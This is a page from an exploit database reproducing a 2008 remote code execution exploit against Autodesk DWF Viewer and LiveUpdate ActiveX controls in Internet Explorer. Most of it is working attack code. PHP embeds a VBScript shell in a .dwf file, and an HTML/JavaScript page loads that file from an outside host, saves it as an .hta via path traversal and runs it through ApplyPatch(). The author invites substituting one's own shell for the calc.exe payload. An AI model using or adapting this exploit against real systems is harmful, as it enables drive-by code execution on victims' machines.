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Home arrow ExploitAlert Database

Arrow  Topic :

Autodesk DWF Viewer Control / LiveUpdate Module Remote Exploit


Arrow  ExploitAlert : 4819
  SecurityAlert : 4361 (Exploit Details)
  Milw0rm ID : 6630
Arrow  Credit : bruiser
Arrow  Date : 03.10.2008

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

<!--
Autodesk DWF Viewer Control / LiveUpdate Module remote code execution
exploit
by Nine:Situations:Group::bruiser
site: http://retrogod.altervista.org/
tested against IE6

tested software: Revit Architecture 2009 sp2
Autodesk Design Review 2009 (which also comes with
Revit)


dll settings (both):
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False

The first vulnerability is caused due to the CExpressViewerControl class
(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method
which allows to store locally files with arbitrary extension.
The second one is related to the ApplyPatch() one inside the UpdateEngine
class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows
to launch an arbitrary
executable by the second argument. Note, that the first one, alone, allows
arbitrary code execution. The impact of the second one is limited if you
cannot
specify command arguments or launch a file of yours.

The embedded dwf file (located at the url
http://retrogod.altervista.org/suntzu.dwf)
has been created modifying an existing one, replacing a .png resource file
with
a vbscript shell through the following script (note the
PCLZIP_OPT_NO_COMPRESSION flag,
this has been used to preserve the code, note also the dwg files are
essentially zips) :

<?php
//library:
//http://www.phpconcept.net/pclzip/index.en.php#download
include_once('pclzip.lib.php');

$archive = new PclZip('suntzu.dwf');

//modify path
$list =
$archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84
650EE-74A7-4766-8D0C-CC9EAE8313D3.png", PCLZIP_OPT_NO_COMPRESSION);

if ($list == 0) {
echo "ERROR : ".$archive->errorInfo(true);
}
?>

take a look to suntzu.dwf with an hex-editor...
This exploit launch calc.exe but you can embed your own vbscript shell
and extended shell commands, by using the php code given.
-->
<HTML>
<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"
WIDTH="640" HEIGHT="480"
id='CExpressViewerControl' >
<PARAM NAME="Src"
VALUE="http://retrogod.altervista.org/suntzu.dwf">
</OBJECT>
<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B'
id='UpdateEngine' />
</OBJECT>
<script type="text/javascript">
<!--
strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";

try
{
CExpressViewerControl.SaveAS (strPatchFile);
}
catch(e)
{
document.write("impossible to save suntzu.hta ...");
}
finally
{
}
strProductCode="whatever" ;

try
{
UpdateEngine.ApplyPatch (strProductCode , strPatchFile);
}
catch(e)
{
document.write("impossible to execute suntzu.hta ...");
}
finally
{
}

-->
</script>





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